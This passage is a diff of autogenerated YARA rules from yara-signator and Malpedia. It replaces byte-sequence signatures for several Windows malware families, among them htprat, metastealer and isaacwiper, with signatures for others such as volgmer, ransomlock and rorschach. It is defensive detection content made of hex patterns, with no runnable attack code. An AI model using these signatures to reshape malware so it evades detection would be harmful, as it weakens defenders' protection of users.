+rule MALPEDIA_Win_Victorygate_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "67b2e8d9-4f49-5cf6-8afe-0a9a5bcb5d69"
+		id = "992c5b2e-f41c-5577-b26b-d319a12e38e1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.htprat_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.victorygate_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "15d5d8ea42e22569434bb0dbf96f0b13036ea7676d82ad93d8f718afb8dd6a66"
+		logic_hash = "ea38784ac607c199e10f70edff21cb5ba2438f5fbaa9d25c8260862ff3bec34e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144047,34 +150993,34 @@ rule MALPEDIA_Win_Htprat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b8568efffff 03c6 3b8558efffff 7667 8b8394000000 898560efffff 8b8558efffff }
-		$sequence_1 = { 8bc7 897dcc e8???????? 8b5dc8 3b5f04 740e }
-		$sequence_2 = { 8d4c2418 c68424e800000003 e8???????? 8b00 3bc3 7504 32db }
-		$sequence_3 = { 33d2 f3a6 6aff 58 7404 1bd2 1bd0 }
-		$sequence_4 = { 46 56 8d8d00ffffff e8???????? 53 56 }
-		$sequence_5 = { 85c0 750c e8???????? a3???????? eb13 53 }
-		$sequence_6 = { 8b00 8d8d38efffff 51 8d8d08efffff 51 50 ff33 }
-		$sequence_7 = { 894584 99 f77d8c 8b4590 8a0402 8b5594 }
-		$sequence_8 = { 83c604 3b7734 75ec eb31 83f805 }
-		$sequence_9 = { 8d410c 8bcb e8???????? 84c0 0f84d2000000 8b5d0c }
+		$sequence_0 = { 7214 8b49fc 83c223 2bc1 83c0fc 83f81f 0f879a120000 }
+		$sequence_1 = { 8bce c645fc08 e8???????? c645fc01 8b55e8 83fa10 7228 }
+		$sequence_2 = { 8bf8 893b 897b04 03cf 33c0 894b08 eb03 }
+		$sequence_3 = { ff15???????? 85c0 0f8593010000 ff75f8 8d8678020000 6a57 50 }
+		$sequence_4 = { e9???????? 3b0d???????? 7501 c3 e9???????? 55 8bec }
+		$sequence_5 = { 0f8537050000 ff75f8 8d8630020000 6a32 50 }
+		$sequence_6 = { 85c0 7537 b901000000 f00fb10f 85c0 7533 817e340c2b0000 }
+		$sequence_7 = { 8b4128 8b7124 8945b8 3bf0 7436 660f1f440000 8b06 }
+		$sequence_8 = { 57 8b00 8945c4 663908 0f8548060000 8b703c 03f0 }
+		$sequence_9 = { c745fc19000000 83ec18 8b4de0 8bc4 896584 c70000000000 c7401000000000 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <1209344
 }
-rule MALPEDIA_Win_Mqsttang_Auto : FILE
+rule MALPEDIA_Win_Volgmer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "37b83f83-ada9-5cb9-9846-c597be16b8c2"
+		id = "6318a069-35e9-5ac9-b46b-f601ef58e4f8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mqsttang_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.volgmer_auto.yar#L1-L360"
 		license_url = "N/A"
-		logic_hash = "816bebdcfc28d4925b60f084aa814ab97a3079e189efd77c5fe0d0005fa07653"
+		logic_hash = "f927338edc5a7e32548016c88c35f08a0b0dddf5ae3c9ab69c63c8695ae3cd83"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -144086,32 +151032,59 @@ rule MALPEDIA_Win_Mqsttang_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f20f2ac0 f20f5905???????? 660f28c8 660f54ca 660f2ed9 7629 f20f58cb }
-		$sequence_1 = { f0832801 8b85c0fdffff 0f845a010000 8b85b4fdffff 89780c 8b400c 85c0 }
-		$sequence_2 = { e9???????? 89c7 89d9 89fb e8???????? 89f1 e8???????? }
-		$sequence_3 = { ff5074 8b03 83ec04 89d9 8b707c ff5078 890424 }
-		$sequence_4 = { e9???????? c74424240a030000 c744242001000000 e9???????? c74424240b030000 c744242000000000 e9???????? }
-		$sequence_5 = { e8???????? e9???????? c744240405000000 c70424???????? e8???????? 8d5de4 8b4dd4 }
-		$sequence_6 = { e8???????? 8d4c247c e8???????? 8d8c2480000000 e8???????? 8d8c2484000000 e8???????? }
-		$sequence_7 = { f6040e10 7441 83c002 47 894338 39bdd8aeffff 77c7 }
-		$sequence_8 = { f30f11442430 f20f115c2428 f30f11542420 f30f114c2418 e8???????? f20f106c2438 f20f105c2428 }
-		$sequence_9 = { e9???????? c744240cffffffff c7442408???????? 89542404 03400c 890424 e8???????? }
+		$sequence_0 = { 488b4d40 4833cc e8???????? 4c8d9c2450010000 498b5b18 498b7b20 498be3 }
+		$sequence_1 = { 48897c2418 55 488d6c24b0 4881ec50010000 488b05???????? 4833c4 48894540 }
+		$sequence_2 = { e8???????? 488b4dc3 41890424 e8???????? }
+		$sequence_3 = { d1c6 c1c105 03c6 89742404 03c3 }
+		$sequence_4 = { ff15???????? 4885c0 740f 488b4018 488b08 8b01 8905???????? }
+		$sequence_5 = { 8b45b0 488d8dc00f0000 4533c9 4889742430 89442428 ba00000080 c744242003000000 }
+		$sequence_6 = { e8???????? 488bd8 eb03 488bdf 488d056efeffff }
+		$sequence_7 = { 75e9 488d8d90140000 48ffc9 40387101 488d4901 75f6 4c8b45a0 }
+		$sequence_8 = { c6843de011000000 488d8de0110000 e8???????? 488b4c2440 488d95e0110000 ff15???????? 0fb63d???????? }
+		$sequence_9 = { 488d4d60 41b808040000 8bf8 e8???????? ba32d00200 b940000000 ff55e0 }
+		$sequence_10 = { e8???????? 488d8dd2050000 33d2 41b806020000 6689bdd0050000 e8???????? }
+		$sequence_11 = { ff15???????? 85c0 7507 b800000100 eb26 }
+		$sequence_12 = { e8???????? e8???????? e8???????? e8???????? c705????????04000000 }
+		$sequence_13 = { e8???????? 85c0 7466 33d2 488d8c24e4000000 41b804040000 e8???????? }
+		$sequence_14 = { 8bd6 c68435000a000000 488d8d000a0000 e8???????? 488d95000a0000 498bce ff15???????? }
+		$sequence_15 = { eb17 894638 eb0e c74634047b7300 c7463806000000 }
+		$sequence_16 = { 8a07 8b0c9580f16e00 8844192e 8b049580f16e00 804c182d04 }
+		$sequence_17 = { 8b4504 8b4d0c 6a00 52 }
+		$sequence_18 = { 8b048dd4926d00 ffe0 f7c703000000 7413 8a06 8807 }
+		$sequence_19 = { e9???????? c745dc02000000 c745e0e4ba7300 8b4508 8bcf }
+		$sequence_20 = { 83c408 85f6 0f84b7010000 8bce 8d85d0fdffff }
+		$sequence_21 = { 03048d80f16e00 50 ff15???????? 5d c3 8bff }
+		$sequence_22 = { 50 68???????? ff7708 ff95e4f3ffff 817f1400008000 89470c 751c }
+		$sequence_23 = { 5f 5e c684101803000000 5b }
+		$sequence_24 = { 8a4c2428 8d442428 3acb 741a }
+		$sequence_25 = { 40 c745ecb8996d00 894df8 8945fc 64a100000000 8945e8 8d45e8 }
+		$sequence_26 = { 50 52 56 6a00 68e9fd0000 ff95e8f3ffff ff7714 }
+		$sequence_27 = { 50 51 53 53 6800000008 }
+		$sequence_28 = { ff15???????? 8d442408 50 ff15???????? 85c0 5f 740c }
+		$sequence_29 = { ba???????? 2bd1 668b0c02 6685c9 }
+		$sequence_30 = { c745dc03000000 c745e0e0ba6e00 e9???????? 83e80f 7451 }
+		$sequence_31 = { 33d2 05d9e7ffff 56 83f815 0f8711010000 ff2485786b6d00 51 }
+		$sequence_32 = { 8a01 41 84c0 75f9 6a00 2bca 8d85d0f5ffff }
+		$sequence_33 = { 8d0d90b87300 ba1b000000 e9???????? a900000080 7517 ebd4 a9ffff0f00 }
+		$sequence_34 = { e9???????? 894ddc c745e0d8ba6e00 e9???????? c745e0d4ba6e00 eba2 894ddc }
+		$sequence_35 = { 8b4de8 8b048580f16e00 f644082840 7409 }
+		$sequence_36 = { 396c2434 750b 396c2430 7505 }
 
 	condition:
-		7 of them and filesize <12651520
+		7 of them and filesize <393216
 }
-rule MALPEDIA_Win_Zhcat_Auto : FILE
+rule MALPEDIA_Win_Ransomlock_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0ba2d083-15f8-52b3-8a0e-523b48182ccb"
+		id = "14d92420-c852-5e3f-a3ed-35c5bfb9c9b6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zhcat_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ransomlock_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "42a0cd82873743b61553ad212467ec7353604cc191810d2e10195e3fc58baf2d"
+		logic_hash = "febe0932e68debf15b0eb0e37d5a00d2ff8a7e3a0c0b884f506cda6ff33b2a0c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144125,32 +151098,32 @@ rule MALPEDIA_Win_Zhcat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b3d???????? 8b7508 4f 8945fc }
-		$sequence_1 = { 741e 8d45f8 8975f8 50 85ff 750a }
-		$sequence_2 = { 85c9 759e 56 e8???????? 59 }
-		$sequence_3 = { 85c9 759e 56 e8???????? 59 5f 5e }
-		$sequence_4 = { 3c74 7404 3c54 7512 8915???????? eb0a }
-		$sequence_5 = { 68???????? 56 56 897004 ffd3 6aff }
-		$sequence_6 = { ff7508 ff15???????? ff7514 8945e4 8bc7 668945f0 ffd6 }
-		$sequence_7 = { eb28 c705????????02000000 eb1c c605????????01 }
-		$sequence_8 = { 0fb63e 0fb6c0 eb12 8b45e0 8a80044a4100 08443b1d 0fb64601 }
-		$sequence_9 = { ff7508 ff15???????? 57 8bf0 e8???????? 59 5f }
+		$sequence_0 = { 50 e8???????? 83c408 8b0d???????? 6a64 51 ff15???????? }
+		$sequence_1 = { 99 2bc2 6a00 8bd1 d1ea d1f8 }
+		$sequence_2 = { 8b5120 56 50 ffd2 85c0 7807 c745ec01000000 }
+		$sequence_3 = { 0f8418010000 8b08 8d55fc 52 50 8b4120 }
+		$sequence_4 = { 0fb7047521664000 4e 6685c0 75ec 57 68???????? ffd3 }
+		$sequence_5 = { 50 ff15???????? 83c410 6a01 53 }
+		$sequence_6 = { 57 ff15???????? 8d70ff 0fb70477 6685c0 7413 8bff }
+		$sequence_7 = { 90 68???????? 33f6 ff15???????? a1???????? 85c0 7429 }
+		$sequence_8 = { 8b45f0 3bc6 0f8418010000 8b08 8d55fc 52 50 }
+		$sequence_9 = { 52 8d8574fdffff 68???????? 50 ff15???????? 83c410 6a01 }
 
 	condition:
-		7 of them and filesize <376832
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Isaacwiper_Auto : FILE
+rule MALPEDIA_Win_Dripion_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1329030c-897c-5c01-8c07-662be913ab23"
+		id = "89e91029-adf0-5373-91d6-441ac823d2ed"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isaacwiper_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dripion_auto.yar#L1-L108"
 		license_url = "N/A"
-		logic_hash = "ed4c1277cdfb0687c916d7f4c8800e6899b857de5108f3daf478ca99ea587637"
+		logic_hash = "6b099e3758909dfda12afb8709370979b2c037becc9af1305c25dce794b98386"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144164,32 +151137,32 @@ rule MALPEDIA_Win_Isaacwiper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 771b 52 51 e8???????? 83c408 5f c706???????? }
-		$sequence_1 = { b804000000 33d2 395138 0f45c2 0b410c 0bc3 50 }
-		$sequence_2 = { 8d0471 3bc8 7319 8d46ff }
-		$sequence_3 = { 5b 8be5 5d c3 6a34 e8???????? 8bf0 }
-		$sequence_4 = { 7576 eb56 8b0485d89e0210 6800080000 6a00 50 8945fc }
-		$sequence_5 = { 744a 83c118 57 8b7d14 894d08 0f1f4000 }
-		$sequence_6 = { 81ecc8090000 56 57 8bf1 c745f800000000 ff15???????? 898538f6ffff }
-		$sequence_7 = { 6685f6 743e 6a00 8bd6 8bcf e8???????? 8ad0 }
-		$sequence_8 = { 85db 0f8454010000 8bc6 83e001 03c8 d1ee }
-		$sequence_9 = { 8bf8 83e03f c1ff06 6bd038 8b34bde8670310 8a441628 }
+		$sequence_0 = { ffd6 8bf8 ffd6 0faff8 ffd6 }
+		$sequence_1 = { 03f8 7402 ffd6 ffd6 }
+		$sequence_2 = { ffd6 8bf8 ffd6 0faff8 8d3c7f }
+		$sequence_3 = { 03f8 ffd6 8bd8 ffd6 0fafd8 ffd6 }
+		$sequence_4 = { ffd6 03f8 8d3c7f ffd6 }
+		$sequence_5 = { 7513 6a64 ff15???????? 68???????? }
+		$sequence_6 = { 8bf8 ffd6 0faff8 8d3c7f }
+		$sequence_7 = { ffd6 03f8 ffd6 8bd8 }
+		$sequence_8 = { 7402 ffd6 ffd6 ffd6 }
+		$sequence_9 = { ffd6 03f8 7402 ffd6 }
 
 	condition:
-		7 of them and filesize <467968
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Unidentified_044_Auto : FILE
+rule MALPEDIA_Win_Rorschach_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a037a55a-a1d2-5696-aa65-bcad92ff6480"
+		id = "1c4aea68-8f40-596d-a63a-efb95cb498a7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_044_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rorschach_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "fa0bbb48e3a00969b6207e7af2c24fceeabe6227dd53aafea6a4369ea97af4c2"
+		logic_hash = "0cdb3537df7f12a9076109ea202e9af8c6db5ccfaaca59c4a71971579385ead3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144203,32 +151176,32 @@ rule MALPEDIA_Win_Unidentified_044_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bca 8bd8 e8???????? 83c404 84c0 7409 668b542408 }
-		$sequence_1 = { 3bcf 7416 8d9b00000000 80792400 7403 }
-		$sequence_2 = { c3 8b8424e4020000 6a10 6a00 50 }
-		$sequence_3 = { 74b3 33ff 397c2418 76ab 33c0 }
-		$sequence_4 = { ff15???????? 3d1e270000 7552 8b442408 85c0 }
-		$sequence_5 = { 2bf0 03d8 85f6 7fe2 }
-		$sequence_6 = { 803e00 8be8 743f 53 57 }
-		$sequence_7 = { ffd5 8bb42464050000 85c0 7f85 7c24 f644242420 0f8468feffff }
-		$sequence_8 = { c7460403000000 ffd3 5b 5f 32c0 5e }
-		$sequence_9 = { 55 e8???????? 83c40c 84c0 74a0 8a442413 }
+		$sequence_0 = { 33d2 488d8df8020000 e8???????? 88850e030000 b26e 488d8df8020000 e8???????? }
+		$sequence_1 = { f65d7f 488d15ece30000 4c8d05e9e30000 488955df 488d05d2e30000 488955e7 488945bf }
+		$sequence_2 = { f5 66d3f7 66c1f703 d3d7 4801e3 d2f0 c0f807 }
+		$sequence_3 = { f30f7f4de0 660f6f05???????? f30f7f45f0 660f6f0d???????? f30f7f4d00 c74510771a771b c6451477 }
+		$sequence_4 = { 0c40 8845df e8???????? 4c8d05e8180700 488d55c0 488d4da0 e8???????? }
+		$sequence_5 = { 33c0 48894310 48c7431807000000 668903 488b4c2458 4833cc e8???????? }
+		$sequence_6 = { 33d2 488d4da8 e8???????? 8845b4 b272 488d4da8 e8???????? }
+		$sequence_7 = { e8???????? 88851e0b0000 b265 488d8de0080000 e8???????? 88851f0b0000 33d2 }
+		$sequence_8 = { e8???????? c60000 ba0f000000 488d4d99 e8???????? c60000 488d4d99 }
+		$sequence_9 = { f6d4 660fbec0 0f98c0 488d7f01 0fb6c0 0f94c4 88f0 }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <3921930
 }
-rule MALPEDIA_Win_Misfox_Auto : FILE
+rule MALPEDIA_Win_Glassrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "927dd41c-de40-5a62-bc60-3c93a08d5568"
+		id = "daeaa019-8217-55aa-beac-5fb62572b79c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.misfox_auto.yar#L1-L171"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glassrat_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "73f8e08e5f0adb2064a67b9bd6b00ebff7c94d43d789ff956746926b45ea1124"
+		logic_hash = "c91259f84ec94eec4bc87c666b3c91ba45af3572c135cc4f200070d560141e5d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144242,38 +151215,32 @@ rule MALPEDIA_Win_Misfox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb6a 56 e8???????? 59 8365fc00 8b049d50870110 }
-		$sequence_1 = { 3de4000000 7309 8b04c598230110 5d c3 33c0 5d }
-		$sequence_2 = { c705????????01000000 6a04 58 6bc000 8b4d08 8988ac830110 }
-		$sequence_3 = { 50 e8???????? 83c40c 6b45e430 8945e0 8d8020770110 8945e4 }
-		$sequence_4 = { c745e4ec900110 a1???????? 33db 43 895de0 50 }
-		$sequence_5 = { ff37 c745b800000000 53 6a00 51 }
-		$sequence_6 = { 8b45b8 52 c70300000000 40 ff37 8945b8 }
-		$sequence_7 = { 0f8515010000 51 ba00020000 c744244800080000 8d4c2434 89442444 }
-		$sequence_8 = { 48c7c101000080 c7450b00020000 4889442420 44897507 ff15???????? }
-		$sequence_9 = { 458bc5 488d9530060000 4803d0 488b442448 488d0dc6da0000 }
-		$sequence_10 = { 488b4c2470 48894b10 48895318 e9???????? 488d5720 }
-		$sequence_11 = { 488985a0040000 4c8b95f8040000 488d052ce00000 4c8bd9 488d4c2430 }
-		$sequence_12 = { f0ff0b 7516 488d0564520100 488b4c2430 483bc8 }
-		$sequence_13 = { 488d15fdbc0000 483305???????? 488bcb 488905???????? ff15???????? 488d15f7bc0000 }
-		$sequence_14 = { ff15???????? 85c0 7547 488b0f 488d15dd6b0100 }
-		$sequence_15 = { 753e 0fb65530 0fb64531 66410fafd5 }
+		$sequence_0 = { 8d542438 83c9ff 33c0 f2ae f7d1 2bf9 8bc1 }
+		$sequence_1 = { ff15???????? 33c0 8b5504 8944241d 8d4c241c }
+		$sequence_2 = { 747a 3bfe 7476 56 56 56 53 }
+		$sequence_3 = { 895db8 895dbc ff15???????? 85c0 0f84bb000000 }
+		$sequence_4 = { 3bc8 b802000000 0f85b4000000 33d2 b909020000 52 83ec10 }
+		$sequence_5 = { 6a04 51 52 8844243b }
+		$sequence_6 = { 8b460c 53 53 57 50 }
+		$sequence_7 = { 8bce ff12 57 ff15???????? 8d4c2420 }
+		$sequence_8 = { 89442418 ff15???????? 8b4d04 8b1d???????? }
+		$sequence_9 = { 89442408 89542404 8a15???????? 33c0 }
 
 	condition:
-		7 of them and filesize <266240
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Covid22_Auto : FILE
+rule MALPEDIA_Win_Xpertrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c5fffc59-fc04-58e5-a2b5-2bc6fea3300e"
+		id = "5a6115a3-5806-5873-b6ce-1ac58a01949b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.covid22_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xpertrat_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "905302ef095dc2c070563a8e4e5a8650bbd8c803b32ba6a0b53beb2cdcb2cfaa"
+		logic_hash = "c8887b0fd33237ed86a90a507f71d2f7eed9cc8f7e7e530376d7c59ae0763d11"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144287,32 +151254,38 @@ rule MALPEDIA_Win_Covid22_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b35???????? 7507 6af6 ffd6 894514 395d18 7507 }
-		$sequence_1 = { 50 8b4508 ff30 ff15???????? 8b45fc c9 }
-		$sequence_2 = { 5a e8???????? ff35???????? 6801000000 e8???????? 21c0 }
-		$sequence_3 = { e8???????? ba???????? 8d0d30b24000 e8???????? ba???????? 8d0d34b24000 e8???????? }
-		$sequence_4 = { 0fb6540c02 83e20f 0fb692e0904000 885005 0fb6540c03 c1ea04 0fb692e0904000 }
-		$sequence_5 = { ff35???????? e8???????? 21c0 0f846f020000 a1???????? }
-		$sequence_6 = { 50 a1???????? 50 50 e8???????? ff05???????? ff35???????? }
-		$sequence_7 = { b801000000 eb02 31c0 21c0 0f8409020000 a1???????? }
-		$sequence_8 = { e8???????? c21000 8b442404 85c0 7413 ff742408 ff30 }
-		$sequence_9 = { 83c404 6801000000 e9???????? 8b15???????? 31c9 e8???????? 750b }
+		$sequence_0 = { 0870ff 0d80000700 0474 ff0478 }
+		$sequence_1 = { ff0a 250004003c 6c 70ff 0808 }
+		$sequence_2 = { ff05???????? 000d???????? 0878ff 0d98000700 6e 74ff }
+		$sequence_3 = { 0808 008f38001b26 001b 0d002a2364 ff08 }
+		$sequence_4 = { ff4d40 ff08 40 0430 ff0a 4c 000c00 }
+		$sequence_5 = { 0000 00a1cc004400 0bc0 7402 ffe0 68???????? }
+		$sequence_6 = { 0808 008a3800cc1c 5e 006c70ff 0808 }
+		$sequence_7 = { 007168 ff0468 ff0a 250004003c }
+		$sequence_8 = { ff15???????? 68fffe0000 ffd3 8bd0 }
+		$sequence_9 = { ff15???????? 68???????? ffd7 8b1d???????? }
+		$sequence_10 = { ff15???????? 6a00 6818000368 8b4508 }
+		$sequence_11 = { ff15???????? 68???????? ff15???????? 50 8d858cfeffff }
+		$sequence_12 = { ff15???????? 69c0e8030000 0f80b50a0000 50 }
+		$sequence_13 = { ff15???????? 6a00 6822000360 8b03 }
+		$sequence_14 = { ff15???????? 6a00 68???????? 6a00 68???????? 8b55e0 }
+		$sequence_15 = { ff15???????? 6a00 6806000368 8b4dd4 }
 
 	condition:
-		7 of them and filesize <1955840
+		7 of them and filesize <8560640
 }
-rule MALPEDIA_Win_Metastealer_Auto : FILE
+rule MALPEDIA_Win_Ironhalo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cdc28210-4a73-5ebc-92c2-e9cca60e6ba0"
+		id = "2d227622-166f-50b3-a1ee-3f19a045e93e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.metastealer_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ironhalo_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "6d21821c6e275cca2327e10c362ceb42915cf515b000f17d28567b39e609820e"
+		logic_hash = "ff7e4c197682c2fb1b52bad6a60a31bcbdcc6f7acd7ddda36a5021d06aae5146"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144326,32 +151299,32 @@ rule MALPEDIA_Win_Metastealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff7710 50 e8???????? 8b4718 8d4b1c 894318 8d471c }
-		$sequence_1 = { 8b4220 894620 8d4228 894224 897a20 c70700000000 8bc6 }
-		$sequence_2 = { 8d4dd8 e8???????? c745fc00000000 8d45d8 68a3000000 68???????? 68???????? }
-		$sequence_3 = { 8b4104 894610 8b4104 8b400c 85c0 740c 89460c }
-		$sequence_4 = { eb0a c70600000000 c6460401 8a45ae 8b7d9c 8845af 660f1f440000 }
-		$sequence_5 = { eb0e 0f57c0 660f1345d4 8b7dd8 8b75d4 51 8d4dd4 }
-		$sequence_6 = { ff7314 68???????? 56 e8???????? 68???????? 56 e8???????? }
-		$sequence_7 = { ffd0 83c40c 85c0 7407 be01000000 eb02 33f6 }
-		$sequence_8 = { d945fc 5e 8be5 5d c3 8d8100000038 0bc6 }
-		$sequence_9 = { c7411000000000 c7411400000000 837e1408 8975d0 7205 8b16 8955d0 }
+		$sequence_0 = { 808821cf400008 40 3dff000000 72f1 }
+		$sequence_1 = { 33c0 8d7c245c 53 f3ab 8d4c2460 6a07 51 }
+		$sequence_2 = { 6a00 6a00 50 6a00 66c744246c0000 c744246801010000 }
+		$sequence_3 = { 8d542410 8d442424 52 50 ffd6 }
+		$sequence_4 = { 52 aa e8???????? 8dbc2434020000 }
+		$sequence_5 = { 5d c3 8b4c2404 f7c103000000 7414 8a01 41 }
+		$sequence_6 = { 3b35???????? 0f83c5010000 8bc6 83e61f c1f805 c1e603 8d1c8560e04000 }
+		$sequence_7 = { 8816 46 eb0f 0fb6d2 f68221cf400004 7403 40 }
+		$sequence_8 = { 8d542460 68???????? 52 ffd6 8d442460 68???????? 50 }
+		$sequence_9 = { 75d1 55 ff15???????? 5e 5f }
 
 	condition:
-		7 of them and filesize <26230784
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Httpdropper_Auto : FILE
+rule MALPEDIA_Win_Soundbite_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eb6cb470-4fa5-55f1-aaf4-34eabe7782e1"
+		id = "080e0f3d-446d-56c0-ac80-bd020f7550e1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.httpdropper_auto.yar#L1-L165"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.soundbite_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "c6973c071283bf0dc986d288edaa8567196f172f5da7a23c655925f94d3c03cb"
+		logic_hash = "dd4f6a00eb49b6e49c1bd5e71a528f06fe40aa9dfa91442cca75ad1ce88ee58a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -144365,38 +151338,32 @@ rule MALPEDIA_Win_Httpdropper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4c243c 51 8d54241c 52 53 }
